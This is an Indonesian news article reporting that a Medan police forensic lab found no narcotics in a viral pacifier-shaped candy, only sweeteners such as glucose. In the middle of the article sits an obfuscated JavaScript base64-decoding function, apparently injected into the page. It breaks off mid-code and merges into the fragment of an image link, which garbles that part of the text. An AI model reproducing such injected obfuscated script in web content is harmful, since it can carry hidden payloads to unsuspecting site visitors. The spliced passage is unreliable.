CALEG GOLKAR

Labfor Medan Pastikan Permen Dot Tak Miliki Kandungan Zat Adiktif

POLDASU (medanbicara.com) – Laboratorium Forensik (Labfor) Cabang Medan memastikan, permen berbentuk dot yang sempat menghebohkan akhir-akhir ini tidak mengandung zat adiktif narkotika.

Hal itu ditegaskan Kasubbid Penmas Polda Sumut, AKBP MP Nainggolan kepada wartawan, Senin (13/3).

Dijelaskannya, Balai Besar Pengawasan Obat dan Makanan (BBPOM) bekerjasama dengan Badan Narkotika Nasional BNN Sumut dan Dinas Kesehatan kabupaten/kota langsung melakukan pengawasan ke lapangan. Hasilnya, permen dot itu sudah beredar di beberapa daerah di wilayah Sumut.

Namun, sambungnya, setelah dilakukan uji laboratorium oleh Labfor Cabang Medan, disimpulkan jika tidak ada sama sekali kandungan zat adiktif di permen tersebut.

"Labfor Cabang Medan sudah melakukan pemeriksaan dengan mengambil sampel dari Langkat yang terdiri dari barang bukti 1, permen Spray, barang bukti 2, permen Dot dan barang bukti 3, serbuk putih. Setelah diperiksa dengan instrumen GCMS dan FTIR diperoleh hasil negatif narkotika dan psikotropika dan setelah terdeteksi, permen tersebut mengandung D-Glukosa Monohydrate, Glukopur, Sweetener, D-Glukosa, DL-Phenylalanie, Methy Ester, Methyl Stearat, Asam Palmitat," jelas Nainggolan.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandungan-zat-adiktif/attachment/img-20170313-wa0009_resized_1" rel="attachment wp-att-5518">IMG-20170313-WA0009_resized_1

"Seluruh zat yang terdeteksi di dalam permen tersebut umumnya digunakan sebagai pemanis bukan termasuk dalam jenis narkotika atau psikotropika," tegasnya lagi.

Dengan adanya hasil dari Labfor Cabang Medan tersebut, imbaunya, masyarakat tidak perlu panik.

"Namun masyarakat harus lebih bijak dalam mengkomsumsi produk pangan yang memiliki izin edar, dan melihat tanggal kadarluasa sehingga tidak menimbulkan bahaya buat kesehatan," tandasnya. (emzu)

Mungkin Anda juga menyukai